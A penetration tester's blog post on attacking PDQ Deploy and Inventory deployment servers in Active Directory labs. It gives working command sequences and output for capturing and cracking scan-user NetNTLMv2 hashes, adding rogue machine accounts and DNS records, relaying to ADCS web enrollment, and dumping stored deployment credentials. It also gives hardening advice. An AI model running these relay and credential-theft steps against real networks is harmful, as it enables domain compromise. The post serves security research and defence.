Make Deployment Systems Tier 0 Again: Pentesting PDQ Deploy and Inventory
Preamble
Over the past few years, there has been a significant increase in the number of attack paths targeting SCCM, which is Microsoft’s deployment manager (System Center Configuration Manager for those who care). Now it is called Microsoft Endpoint Configuration Manager, but no one got that memo, so it’s referred to as SCCM everywhere (Also, MECM isn’t as catchy). Deployment systems are interesting targets. They must be able to reach the majority of network devices, and also receive traffic back, so they’re often very “flat” at the network hierarchy level (reachable by most systems on the LAN). They also require privileges to do their job; if you want to deploy Microsoft Word 2069 to all your workstations, generally, you need to provide at least privileges to write to administrative folders (Program Data, Windows?). As a result, there is an inherent level of trust placed in them.
SCCM has been a pretty hot target in the big-boy security research world for a while, with incredible research coming out from incredibly smart people (note: considerably smarter than me). Lots of the issues found are based on inherent functionality or specific configurations in use. An example of this is the Network Access Account (NAA) credentials attacks, which no doubt everyone is bored to death of hearing about now. The NAA account is used for non-domain joined machines to authenticate to the deployment server. If you gain local administrative access to an SCCM client and NAA credentials are enabled, you can extract them using a tool like SharpSCCM. These may or may not be overprivileged and allow lateral movement. I have highlighted a few other blog posts discussing MECM SCCM attacks below, but as this is a blog post about PDQ Deploy and Inventory (D&I) and not SCCM, I won’t harp on it.
- The Phantom Credentials of SCCM – Spectre Ops (Duane Michael)
- Site Takeover via SCCM’s AdminService API – Spectre Ops (Garrett Foster)
- Coercing NTLM Auth from SCCM – Spectre Ops (Chris Thompson)
- Deobufscating NAA Credentials – XPN (Adam Chester)
I present these merely as they provide context about how I approached looking at PDQ, and we can also use it to show how PDQ Deploy and Inventory (D&I) is inherently more secure (in my opinion, from a design perspective) than SCCM.
TLDR: Blog Overview
- What is PDQ D&I?
- Why PDQ D&I?
- Credential Types
- Inventory Scan Options
- Network Range Scanning to Relay
- AD Synchronization Scanning to Relay
- Post-Exploitation – I am the deployer!
- Post-Exploitation – Dump Credentials from PDQ D&I with PDQrypt
- Post-Exploitation – Background User
- It’s Not PDQ.com, It’s You
- Agentless Deployment – More secure or not?
What the HECK is PDQ Deploy and Inventory
If you are a system administrator or pentester, you may have seen PDQ D&I before. PDQ.com offer several products that assist with infrastructure management (and very well, may I add). We are going to focus on PDQ Deploy and Inventory (D&I), which are the two I see most often internally.
PDQ Inventory
PDQ Inventory is a device and asset inventory system that allows network administrators to track, monitor, and remotely manage Windows assets in an internal network. Notable functionality includes the ability to scan network ranges and identify new devices, as well as being able to be linked to other directory services (AD), whereby network administrators can “synchronize” domain devices to the PDQ Inventory software.
The hosts collected here can be fed into other PDQ.com products, such as PDQ Deploy. This can be configured to use a list of hosts collated in PDQ Inventory and deploy to hosts with certain characteristics. Hosts that are identified as an asset by PDQ Inventory are automatically sorted into collections based on their system’s characteristics. For example, a scan of a corporate network may yield 50 workstations, which would be automatically added to the “Workstation” collection, whilst the 8 servers discovered would be automatically added to a “Server” collection. Collections can be customized based on dynamic characteristics, such as OS version. In practice, these collections can then inform deployment configurations in PDQ Deploy.
PDQ Deploy
PDQ Deploy, as the name suggests, allows for deploying updates and software packages to a list of computers on the network. When the deployment user authenticates to the client device, the requested packages are either ‘pushed’ or ‘pulled’. This indicates whether the copy command is issued by the deployment account FROM the PDQ Deploy server TO the target device, or whether it is initiated FROM the client device TO a centralized file server where the packages are stored. Deployments can be set to happen on a schedule and the previously mentioned “collections” can stipulate what gets deployed and what user deploys it. This allows participating organizations to configure different users for different device types, such as a “Workstation Administrator” to deploy to workstations, and a “Server Administrator” to deploy to servers. This segregation ensures that a local administrator to all deployment devices is not solely used for all deployment attempts.
Hopefully, that has cleared up what PDQ D&I is (and clarified that we are referring to the suite of software offered by PDQ.com rather than the copious other companies that you may find when you google “PDQ”).
But WHY Write About PDQ Deploy and Inventory?
I can confidently say that every time I have seen PDQ D&I in use on a network, it has led to some form of route to Domain Admin. I first encountered PDQ D&I back at my first pentest job. We had internal access via a VPN (GlobalProtect) and had no box on the network. Multicast attacks (mitm6, poisoning) were out of the equation as we had no traffic from other devices flying around. This small organization was doing everything well, and I didn’t even know what PDQ D&I was really. I left a responder running in Analyze mode and forgot about it in a Tmux window. On the last day of the test, I was wrapping up and licking the salt from my wounds as I prepared to break my “DA streak”. “Really small networks can be harder to get DA in ☹” – I consoled myself. I closed out my tabs in Tmux with a heavy heart that day. But what’s this? My responder caught a… hash? But it’s not poisoning anything?…
I started to write up the issue, considered mitigations and delivered the report to the client. A few months later, I noticed a service account related to PDQ again. I left my Responder up, and sure enough, about 36 hours into the test I got a hash. This time I relayed it to the copious number of servers with SMB signing disabled. DA again!
Background Research
However, I did think that this time it took longer for it to check in, nearly missing the end of my engagement period. It got me thinking: Surely there are better and more reliable ways to exploit this? What if I’m on a range that doesn’t get deployment requests? Can I force it to speak to me? Does that require authentication? Can I do it without authentication? If I can, is SMB authentication the only type it sends? Can I force NTLM over HTTP (like a WebClient)? All these questions buzzed around my head. Spoiler: If you were hoping for the answer to the above questions to be yes, you are going to be disappointed. Most of the above attack paths are not possible as PDQ D&I is designed differently than, say, SCCM, where clients can “request” updates from the central server.
When I googled “Pentesting PDQ”, I expected a plethora of results. In reality, I got barely anything. The height of my results was a Reddit post from a pentester, a load of sysadmins in the comments, and a blog post by PDQ.com themselves, where they speak to Spencer Alessi (who I follow on LinkedIn and who always puts out good stuff related to AD).
There are a couple of good bits of advice in that Reddit post, and it sparked some important discussion around best practices (more on those shortly). However, the advice given contradicts what I have personally seen internally with each PDQ D&I installation, and so here we are. This was my favorite comment, as it does sound silly, but it also does happen.
There was also a gist with code for detecting a PDQ login and dumping creds. Exciting! Until you realize it just repeatedly dumps LSASS until it sees a username it likes…
I’ll cut that gist some slack as it was from 2017.
Credential Types
Before we jump in, a quick pitstop on credential types in PDQ D&I. Several different types can be configured, which need varying levels of privileges to use. This information is primarily pulled from their own “Credentials Explained” page – so follow along there if you want the full details.
Right off the bat, we’re hit with this:
They’re totally right, too. At a high level, when a user logs in to a Windows device, their credentials get cached in the Local Security Authority Subsystem Service (LSASS). There are several exceptions to this, such as when the user is part of the Protected Users group, or if NTLM authentication is disabled, but let’s assume they are a bog-standard organization who have not yet gone through hardening. A threat actor with local administrative access to a device that has been scanned or has received a deployment can attempt to dump the LSASS process after the authentication has occurred. With a bit of luck, the scan user’s credentials will be cached in memory.
The recommendations from PDQ.com are all sound – follow the principle of least privilege and implement LAPS. Naturally, we should also be ensuring Credential Guard is in use, and LSASS is running as a Protected Process Light (PPL). Long live defense-in-depth! Sadly, it’s not what I have witnessed internally, which usually ends up looking more like this, with that same hash giving access everywhere:
But let’s get back to the types of credentials that can be used! For both Deploy and Inventory, there are three types of credentials:
- Console Users
- Background Service User
- Scan/Deploy User
Console Users
Console Users are those who can run PDQ D&I from the command line when it is in “Central Server” mode. Without going into too much detail, this mode exposes a port that allows other instances of PDQ D&I to connect and perform basic commands against the deployment server. Essentially, it allows multiple administrators, at multiple locations, to access the central server via CLI or the desktop application. Console Users MUST have local administrative privileges to the PDQ Deploy or the PDQ Inventory server itself. This credential is largely irrelevant for this blog post, but I have included it anyway as it is often referenced in their documentation.
I see this mostly being relevant in situations where your client has a centralized PDQ D&I server and other system administrators need to remotely manage it from their device. For example, they run the Deploy/Inventory CLI tool, which connects to the central server and allows them to perform actions. Naturally, if their machine or credentials are compromised, this presents a threat, but it is no different from compromising the PDQ D&I server itself. The only change is whether you interact with the software on the server itself or from a separate machine.
Background Service Users
This user is set when you first configure Inventory or Deploy and needs to be a local administrator to the PDQ D&I instance itself. The background service user should also have internet access to pull updates, tools, and deployment packages down. The credentials for this user get stored in the Registry on the PDQ D&I server and are protected with the Data Protection Application Programming Interface (DPAPI).
If you can gain access to these credentials, they should not grant further access, as you would have needed local administrator privileges to extract them in the first place. However, if they are overprivileged and have not had the principle of least privilege applied to them, this can result in the attacker gaining additional privileges.
Scan/Deploy User
This is my favorite type of user in PDQ D&I. The one that is so often incorrectly configured. The scan or deploy user (depending on whether you are in PDQ Deploy or Inventory, obviously) MUST have local administrative privileges over the target device they are scanning/deploying to. So, if you’re on a machine that PDQ Inventory is checking in to, and you capture the authentication material, there’s a relatively high probability that the same user is going to be a local administrator over several other machines. You could consequently relay that NetNTLMv2 authentication request or dump the user’s NTLM from LSASS after they have authenticated. Either way, you may be left with a plethora of other hosts to dump from. Naturally, PDQ.com is aware of this, and throughout their documentation, they frequently mention some mitigations that can be applied (LAPS, mainly). This, at its core, is the most common way to target any deployment/asset management service that actively authenticates to several machines, not just PDQ D&I.
It should also be noted that there is (another) disclaimer at the start of their documentation, which indicates the requirements to scan or deploy to a Domain Controller. Again, PDQ.com highlights that you should add secondary credentials if needed to scan specific, privileged targets. Thus, creating a complete segregation for higher-value (Tier 0) scans. Is there a theme here…? Totally. Don’t be lazy with the PDQ account permissions!
Inventory Scan Options
OK, we know PDQ Inventory is your “asset” discovery/manager, and PDQ Deploy is your deployer. How do assets get added? Here are the options available in PDQ Inventory for adding computers:
These are all relatively self-explanatory:
AD Synchronization – Specify an Organizational Unit (OU) and include all Windows computers that are returned from an LDAP query matching the OU. Hands-off approach, dynamic, and one I see commonly used.
AD Browse by Name – There’s not much to explain here. Performs LDAP queries against the DC to list available computers, then it’s up to the admin to pick and choose.
Network Discovery – In my opinion, one of the more risqué options, if it is set without consideration. Specify an IP range and let the scanner try to authenticate to any devices found in these ranges. This will also attempt authentication requests against Linux machines.
By Name – You add computers… by their name. Simple. Resolved via the primary DNS server initially, which is most likely the DC.
These each somewhat belong on a sliding scale between control and automation. If you want to take your hands off completely, give it all your ranges, and voila, you will likely find all Windows devices the scanner can route traffic to. But you may also find some undesirables, you know, like my Kali box. You can improve this by performing synchronizations against AD, at least that should be safe, right? Maybe; it depends on whether someone can add computer accounts to the domain. Finally, and the safest, albeit most manual, is just to inventory machines you KNOW exist. This loses the benefit of discovering other hosts, meaning that unknown unknowns remain unknown (say that three times after a pilsner), but also means that the only machines being inventoried are actual company devices.
Network Range Scanning Crack or Relay
First, a foreword. Relay attacks are often only weaponizable with the presence of other missing security controls. For example, a misconfigured Active Directory Certificate Service with web enrollment enabled over HTTP may allow for authentication requests to be relayed to it. SMB signing being disabled on servers may allow for authentication requests to be relayed to them. Weak passwords being used will result in the captured authentication material being cracked. What you do with the captured authentication request is of little significance to this blog post, as we are primarily highlighting the configurations that allow you to get that authentication request in the first place.
Attack Overview
In this example, your client has a VPN range that their users log in to. They want to ensure each device being used by an employee is cataloged and visible in their inventory software, as this can then feed into deployment and device management. The VPN range is 192.168.69.0/24. On a regular schedule, PDQ Inventory is configured to scan this range and identify devices. This might look as follows:
When it runs, it won’t add a Linux device to the dashboard, as PDQ D&I only supports Windows devices. However, it will still send an authentication request as the Scan User account. As discussed previously, when overprivileged, this can then be relayed to other services/targets. As a quick example, I ran the inventory scanner over that range and listened on my Kali at 192.168.29.200 – just using Responder in Analyze mode. Shortly after, our good friend Mickey (the scanning user seen in the image above) tried to get in touch.
Sadly for Mickey, he didn’t listen when Goofy told him using weak passwords was a bad idea. Using mode 5600 (NetNTLMv2), we can try to crack the captured authentication request.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ hashcat -m 5600 mickey::DISNEY.LOCAL:353665611285a64f:36F06FB2914291A0E382E7644BEB1D1E:010100000000000080BED552A65BDB01CD5D9FC816B88D510000000002000800440043005900480001001E00570049004E002D004C004D0058004E004F004E0037004E00340056004A0004003400570049004E002D004C004D0058004E004F004E0037004E00340056004A002E0044004300590048002E004C004F00430041004C000300140044004300590048002E004C004F00430041004C000500140044004300590048002E004C004F00430041004C000700080080BED552A65BDB0106000400020000000800300030000000000000000000000000300000EBAB313926B9F2F7D85130850A91B1E19F8F6FE56CAE0BFB7CA41BC7C08661F90A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00360039002E003200300030000000000000000000 wordlists\weakpass_3 … MICKEY::DISNEY.LOCAL:353665611285a64f:36f06fb2914291a0e382e7644beb1d1e:010100000000000080bed552a65bdb01cd5d9fc816b88d510000000002000800440043005900480001001e00570049004e002d004c004d0058004e004f004e0037004e00340056004a0004003400570049004e002d004c004d0058004e004f004e0037004e00340056004a002e0044004300590048002e004c004f00430041004c000300140044004300590048002e004c004f00430041004c000500140044004300590048002e004c004f00430041004c000700080080bed552a65bdb0106000400020000000800300030000000000000000000000000300000ebab313926b9f2f7d85130850a91b1e19f8f6fe56cae0bfb7ca41bc7c08661f90a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360039002e003200300030000000000000000000:Password123! Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) Hash.Target......: MICKEY::DISNEY.LOCAL:353665611285a64f:36f06fb291429...000000 Time.Started.....: Tue Jan 14 18:49:23 2025 (0 secs) Time.Estimated...: Tue Jan 14 18:49:23 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (wordlists\random_smalll_lists\rockyou.txt) Guess.Mod........: Rules (rules\d3ad0ne.rule) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 6939.5 kH/s (9.00ms) @ Accel:4 Loops:4 Thr:64 Vec:1 Speed.#2.........: 17188.0 kH/s (6.85ms) @ Accel:8 Loops:2 Thr:64 Vec:1 Speed.#*.........: 24127.5 kH/s Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 3866624/489918091136 (0.00%) Rejected.........: 0/3866624 (0.00%) Restore.Point....: 0/14344384 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:72-76 Iteration:0-4 Restore.Sub.#2...: Salt:0 Amplifier:38-40 Iteration:0-2 Candidate.Engine.: Device Generator Candidates.#1....: 123456! -> chriStal! Candidates.#2....: chy -> jan |
Great, we now have credentials for the scan user and can attempt to use them on other machines in the network!
AD Synchronization Scanning to Relay
The above scenario works well if you are blessed enough to be sitting in a network scanning range. But what if you aren’t? Is there a way to get the inventory user to try and count your lowly Linux host as an AD-joined Windows device? Initially, I thought not, but it turns out there is… Provided your target organization is using the AD Sync option for collecting inventory devices.
AD Sync, at a high level, just takes an Organizational Unit (OU) in AD, identifies any computers it finds in there via LDAP queries, and then attempts to resolve them and perform an inventory scan of them. This can be set on a regular schedule, so perhaps, every night at 11 pm, a scan goes out that says “HEY, DOMAIN COMPUTERS SHOW YOURSELVES”. Maybe it doesn’t shout like that. But you get the idea. Any computers that are found are then added to PDQ Inventory and will be included in future scans and related authentication attempts. That sounds like a good place to be! How do I get my Kali in there?!
Attack Overview
Let us consider the situation above. In my fictitious organization, the synchronization of AD is set to every 15 minutes (for my sanity) and scans the default domain container (all objects).
A threat actor on the network can add a machine account, provided the ms-DS-MachineAccountQuota is > 0. This is a default configuration for all domain users by standard, and we always recommend this be set to 0 (who truly needs to be able to add computers to your domain? Probably only your Administrators).
1 2 3 4 |
$ addcomputer.py disney/donald:Password123\! -computer-name ILOVEYOUDAFFY -computer-pass 'IREALLYDO<3' -dc-ip 192.168.69.10 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account ILOVEYOUDAFFY$ with password IREALLYDO<3. |
The proof is in the pudding when we check that on the DC:
They also set a DNS record of their newly added machine pointing to their attacker IP address using Dirk Jan’s dnstool:
1 2 3 4 5 6 |
$ python3 /opt/tools/krbrelayx/dnstool.py -u 'disney.local\donald' -p 'Password123!' -dc-ip 192.168.69.10 -a add -d 192.168.69.200 -r ILOVEYOUDAFFY DC-01.DISNEY.LOCAL [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully |
We can confirm this is created by logging into the DC and looking at the DNS records:
1 2 3 4 5 6 7 8 9 |
$ Get-DnsServerResourceRecord -ZoneName "disney.local" HostName RecordType Type Timestamp TimeToLive RecordData -------- ---------- ---- --------- ---------- ---------- @ A 1 12/30/2024 9:00:0... 00:10:00 192.168.69.10 @ A 1 12/31/2024 11:00:... 00:10:00 10.0.2.20 @ NS 2 0 01:00:00 [--snip--] ILOVEYOUDAFFY A 1 0 00:03:00 192.168.69.200 WKSTN-01 A 1 12/31/2024 11:00:... 00:20:00 192.168.69.100 WKSTN-01 A 1 12/31/2024 11:00:... 00:20:00 10.0.2.15 |
You would be forgiven for thinking that this would be enough to get PDQ Inventory to try and add you to the Inventory dashboard. After anxiously waiting for a check-in from the inventory user, for a solid 30 minutes, nothing appeared in Responder. No auth requests. Not a sniff. PDQ Inventory doesn’t want our Kali box! So, what was wrong?
TLDR: I go over the process to discover what was wrong/why it wasn’t adding my device below. But in a nutshell, PDQ Inventory uses the ‘dNSHostName’ attribute on an AD object as an indicator you are a Windows domain-joined machine. Ensure you are using LDAPS when adding a computer account if you want a ‘dNSHostName’ attribute to be set on your machine.
Identifying the Issue
If we look at a traffic dump from the Deployment machine and observe the queries it makes, we can try to identify the missing components that make PDQ Inventory think “Oh, I should add this machine”. The LDAP request appears to correctly identify the domain devices, including our malicious computer (ILOVEYOUDAFFY), as seen in the output below.
But there are several components that differ between a legitimate LDAPMessage response and a spoofed one. Here are the results of the query for a legitimate workstation:
And here is the output from the spoofed device:
As the astute will notice, four fields are missing:
- operatingSystem
- operatingSystemVersion
- dNSHostName
- lastLogonTimestamp
In fact, on the DC, you can also see the differences in the GUI. On the left is a legitimate device, and on the right, is the one added via Impacket:
I initially tried modifying the addcomputer.py script from Impacket to just set these values:
1 2 3 4 5 6 7 8 9 10 11 |
ucd = { 'dnsHostName': '%s.%s' % (computerHostname, self.__domain), 'userAccountControl': 0x1000, 'servicePrincipalName': spns, 'sAMAccountName': self.__computerName, 'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le'), 'operatingSystem': 'Windows 11 Pro', 'operatingSystemVersion': '10.0 (26100)', 'lastLogonTimestamp': '133801104724017948', 'dNSHostName': '%s.%s' % (computerHostname, self.__domain) } |
That didn’t work. In frustration, I ended up just manually changing various options in the GUI on the DC until PDQ Inventory recognized the device on a check-in. As it turns out, the only field you need to have set to be recognized as a “Windows” machine, and thus receive check-in requests, is the “dNSHostName” attribute. Those familiar with the Certifried vulnerability will know that this was the same field involved in that attack, whereby, essentially, the certificate service trusted the “dNSHostName” field implicitly as the account to generate a certificate for.
Naturally, this is nowhere near the same impact, I just want the inventory user to speak to my poor Kali machine. As it turns out, if you use Impacket’s addcomputer.py script over LDAPS, rather than the default SAMR method, it automatically populates the “dNSHostName” for you. I ran the command twice below, one using SAMR and one using LDAPS, and then compared the objects on the DC.
LDAPS:
1 2 3 4 |
$ addcomputer.py disney.local/donald:Password123\! -computer-name ILOVEYOU -computer-pass 'IREALLYDO<3' -dc-ip 192.168.69.10 -method LDAPS Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account ILOVEYOU$ with password IREALLYDO<3. |
SAMR (default method):
1 2 3 4 |
$ addcomputer.py disney.local/donald:Password123\! -computer-name IHATEYOU -computer-pass 'IREALLYDO<3' -dc-ip 192.168.69.10 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account IHATEYOU$ with password IREALLYDO<3. |

I believe this is actually why you need LDAPS to add a computer account when performing a relay using mitm6 and ntlmrelayx. I guess failure really is a great teacher, as I wouldn’t have known that if I’d done it over LDAPS and it worked the first time. Neat.
A Happy Ending
Anyway, back to the task at hand. Adding a new computer account via LDAPS and then setting up the DNS record for that machine to point to our Kali box (finally) triggers an authentication request from the Inventory scanner!
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Add computer $ addcomputer.py disney.local/donald:Password123\! -computer-name ILOVEYOUDAFFY -computer-pass 'IREALLYDO<3' -dc-ip 192.168.69.10 -method LDAPS Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully added machine account ILOVEYOUDAFFY$ with password IREALLYDO<3. # Set up DNS record for added machine $ python3 /opt/tools/krbrelayx/dnstool.py -u 'disney.local\donald' -p 'Password123!' -dc-ip 192.168.69.10 -a add -d 192.168.69.200 -r ILOVEYOUDAFFY DC-01.DISNEY.LOCAL [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully |
After performing the above and the AD Sync process occurring, this is the view in PDQ Inventory:
The authentication request can, once again, be caught by Responder, or even a Wireshark capture (and then carved out using NTLMRawUnhide). Alternatively, you may decide to relay it.
Here, I’ll demonstrate how to relay that authentication request to an ADCS endpoint with Web Enrollment enabled. This endpoint allows NTLM authentication over HTTP, as detailed in hundreds of other blogs (and the original research). The ntlmrelayx command should be run before the account checks in. Once it does, it will relay the authentication request to the enrollment endpoint and retrieve the PFX file. If you are interested in this attack, consider checking out my colleague Tom’s overview of it. He makes it far easier to understand than I could:
I’ll set up the relay command and await the “Authenticating against…” message, which indicates a relay is in progress:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ ntlmrelayx.py -t http://dc-01.disney.local/certsrv/certfnsh.asp -smb2support --adcs --template User Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [--snip--] [*] Servers started, waiting for connections [*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.69.20, attacking target http://dc-01.disney.local [-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5' [*] HTTP server returned error code 200, treating as a successful login [*] Authenticating against http://dc-01.disney.local as DISNEY.LOCAL/MICKEY SUCCEED [*] Generating CSR... [*] CSR generated! [*] Getting certificate... [*] GOT CERTIFICATE! ID 3 [*] Writing PKCS#12 certificate to ./MICKEY.pfx [*] Certificate successfully written to file |
This successfully obtains a PFX file that can be used for authentication. We can then just authenticate with this to gain control of the relayed user’s account:
1 2 3 4 5 6 7 8 9 |
$ certipy auth -pfx MICKEY.pfx -dc-ip 192.168.69.10 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: mickey@disney.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'mickey.ccache' [*] Trying to retrieve NT hash for 'mickey' [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe |
And we can prove that we’re able to use the ccache file by authenticating to the DC:
1 2 3 |
$ export KRB5CCNAME=mickey.ccache $ nxc smb dc-01.disney.local --use-kcache SMB 192.168.69.10 445 DC-01 [+] disney.local\mickey from ccache (Pwn3d!) |
Sadly, I can’t see any way to check if AD Sync is in use, as it first pulls data from the DC rather than scanning the network. But still, if your client has progressed from just putting massive ranges for their inventory check-ins to a more targeted approach using AD, this could once again turn the tables and allow you to capture the credentials of the PDQ Inventory user from a “non-domain” joined device. Better yet, if they import their assets from PDQ Inventory directly into PDQ Deploy, you may even get different user credentials when deployments are attempted.
If you are on a domain-joined Windows machine, just kick up Inveigh in the background (Analysis mode is fine, we don’t need to poison anything) and see if you receive a check-in. Life is much easier from a Windows box here, it seems!
Of course, it’s important to remember that the credentials you capture from a Deploy/Scan user (remember our credential types from earlier?) only allow you to move laterally to other machines if the same account is a local administrator on several machines (bad practice). Merely capturing an authentication request does not magically grant you further access; the environment must be misconfigured in some other way.
You may even find instances where the scanning user’s credentials are the same as the Background User or Console User, which could even result in you then gaining access to the underlying PDQ D&I server. You would hope not, though 😊
Post Exploitation
I am the deployer!
If you have gained local administrator access to the PDQ Deploy or Inventory server, then you can safely assume that it means you could take over all clients to which the server has access. There is a plethora of options available at this point. I won’t go into a ton of detail in this component, as it’s relatively self-explanatory. The simplest thing to do would be to RDP into the deployment machine and use Inventory/Deploy GUI to push malicious commands/packages/view shares of any machine that is connected. The software allows deployment over various protocols (SMB, WMI), and you will be spoilt for choice.
A more covert method may be to start a “run as” CMD/PowerShell window on a domain-joined machine as the user who has local admin access to the deployment server. You can then use the PDQ D&I CLI tool to run commands on the server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
C:\Program Files (x86)\Admin Arsenal\PDQ Inventory>PDQInventory.exe Help Available commands: AddComputers ADSync (Enterprise Mode) BackgroundService CheckDatabase ConsoleUsers (Enterprise Mode) CreateCustomField (Enterprise Mode) Database DatabaseCleanup (Enterprise Mode) GetAllCollections (Enterprise Mode) GetAllComputers (Enterprise Mode) GetAllScanProfiles (Enterprise Mode) GetCollection (Enterprise Mode) GetCollectionComputers (Enterprise Mode) GetComputer (Enterprise Mode) GetOnlineComputers (Enterprise Mode) GetScanProfile (Enterprise Mode) Help ImportCustomFields (Enterprise Mode) OptimizeDatabase ProfileBackgroundService RepairDatabase RestoreDatabase ScanCollections (Enterprise Mode) ScanComputers (Enterprise Mode) SendDatabase SetServiceMode (Enterprise Mode) Settings SystemInfo UpdateCustomVariable (Enterprise Mode) WakeComputer (Enterprise Mode) |
That exercise is left up to the reader. If you find any cool/covert/quieter techniques to perform attacks when you have access to the deployment server, feel free to let me know!
Dump Credentials from PDQ D&I with PDQrypt
Thinking back now, just for a second, to the Credential Types section earlier. We know that scanning and deployment users MUST be local admins to the machines they want to authenticate to. We also know that LAPS is the preferred way of configuring these users. It would be pretty cool if you had gained access to the underlying deployment server to get the cleartext credentials of the users that are configured for scanning and deployment, right? Well, if you have local admin over that machine, there is nothing stopping you from getting those credentials!
This, in my opinion, is much quieter than trying to create an interactive session on the deployment server, use the GUI, and run malicious commands to target devices. Instead, we can just extract credentials from the PDQ D&I databases and use them to perform any action, with any tooling, that we wish.
The only hurdle in the way, despite having local admin access to the deployment machine, is that they’re encrypted when they are stored in the DB. PDQ.com gives some high-level details about how the D&I credentials are stored in their documentation:
Again, if you are astute, you will surmise that you will need at least the ability to read the registry and probably the database, which is not readable by standard, low-privileged users. So, I will reiterate, you need local admin privileges over the PDQ D&I server itself.
Luckily, we have developed a tool here at TrustFoundry to perform exactly this action. PDQrypt is now available on our GitHub. It uses the Impacket suite for authentication, so most of the help page will seem relatively familiar if you have used that before.
After installing the requirements, you can just specify the username and password that is a local administrator on the PDQ D&I server and let it run. It will grab the database, a DLL, and the necessary registry key and transfer them over to your attacker machine before performing some magic to get the cleartext credentials back. This also has the added benefit of grabbing any LAPS users stored!
Here is an example database with encrypted credentials of an Inventory server. You will note that these passwords are all encrypted blobs:
Running the script and viewing the results:
Success!
If you don’t want to mess around running the tool remotely and you are already on the deployment server, you can just copy the required data manually. PDQrypt can also perform local decryption via the -local-parse parameter. Just provide it with the correct files:
- The database, stored by default at:
- C:\ProgramData\Admin Arsenal\PDQ {Inventory|Deploy}\Database.db
- The DLL, stored by default at:
- C:\Program Files (x86)\Admin Arsenal\PDQ {Inventory|Deploy}\AdminArsenal.PDQ{Inventory|Deploy}.dll
- Registry Key, stored by default at:
- HKLM\SOFTWARE\Admin Arsenal\PDQ {Inventory|Deploy}\Secure Key
The local parsing script in action:
Just be cognizant that when running this remotely, it will temporarily stop the PDQ D&I services (as it has a lock on the DB). The script will try to restart it and track its state (immediately after copying over the required data), but if the script exits or is interrupted, this may result in the service remaining stopped. Similarly, if extracting remote registry entries, the remote registry service will be started and stopped again if it was not already enabled. This is not dissimilar to other Impacket tooling, but it’s worth being aware of, in case your client comes after you for breaking their deployment system! (Note: Not tested in production, use with caution, we are not responsible for any angry security teams).
So, there you have it, a way to get the credentials from a remote PDQ D&I database, provided you have local administrative access to the underlying deployment server. This isn’t anything magical – it’s no different from dumping out AD credentials from the NTDS file once you compromise a DC, nor is it any different from dumping Azure synchronization credentials by compromising an Azure AD Connect server. Just remember, once the underlying server is compromised, any data on it should also be considered compromised.
Background User
One other type of credential stored by PDQ D&I is the Background user. This user should have local administrator privileges over the deployment server itself, so you aren’t gaining much by obtaining these. The background user credentials are protected with DPAPI and stored in the registry on the deployment server. How do I know this? Well, if you monitor API calls being made during the process of saving a background user, we can see the call made to CryptProtectData with our username and a new Registry value added:
We can see this has created a new entry in the Registry:
If we monitor that process with API Monitor, we can see that the plaintext username and password are being passed to the CryptProtectData call:
When I added these credentials, it also appeared to create a Registry entry in HKLM\SECURITY\Policy\Secrets\_SC_PDQInventory. Given that this key is part of the Local Security Authority (LSA), as denoted by the prefix HKLM\SECURITY\Policy\Secrets\, it is likely that Impacket’s secretsdump/nxc/<insert tool of your choice here> would be able to obtain the background user’s credentials in cleartext if we were to dump the LSA secrets. Let’s try that…
And there they are, in cleartext! As I stated before, if the correct privilege models are being followed, this account should ONLY be a local admin to the deployment server itself and therefore NO further privileges should be gained from this (as you already have local admin privileges to be dumping these credentials), but I thought I’d include it anyway, as you may have a situation where you have been authenticating with a hash or stolen ticket and are desperate for a cleartext credential.
Plus, dumping with Netexec was far easier than trying to manually work out how to decrypt the registry entry using DPAPI, wasn’t it? 💯
Concluding Thoughts
It’s Not PDQ.com, It’s You
In my opinion, nearly all of these issues are mitigated by sensibly configuring your PDQ D&I installation and the wider environment. We will take a minute to briefly look at the documentation for PDQ D&I before moving on to highlight that they suggest (quite frequently) using LAPS. This is Microsoft’s Local Administrator Password solution, which sets random local administrator account passwords and rotates them regularly. No more dumping a hash and using the same hash on 50 other servers! The accounts used for scanning require a local administrator over the target devices to be able to collect data from them and enable remote management of them. Therefore, if you use the same account to scan every device, and that user’s authentication request is captured, it can be relayed to any other machine that account has local admin privileges for. If LAPS is in use, that one credential captured won’t be a local admin over other machines, and therefore, ends up pretty redundant.
https://help.pdq.com/hc/en-us/articles/115001132352-LAPS-Integration-with-PDQ-Deploy-Inventory
These are configured in the Credentials option of Inventory. A user who can read the LAPS password attribute is set. This then lets the account read the credentials of the local administrator of the device that it needs to deploy to and use those to log in and perform whatever action it needs to:
The functionality doesn’t inherently exist in PDQ Deploy, but when you set up deployments, you can select “Use the Inventory Scan User” – which will default to using the user set in Inventory. This is by design, as PDQ D&I is intended to be used in tandem.
Furthermore, if you are capturing a NetNTLMv2 hash, you generally have only a few options if it’s an SMB authentication request:
- Downgrade it to NetNTLMv1 and try to relay it to LDAP if LDAP Signing is disabled.
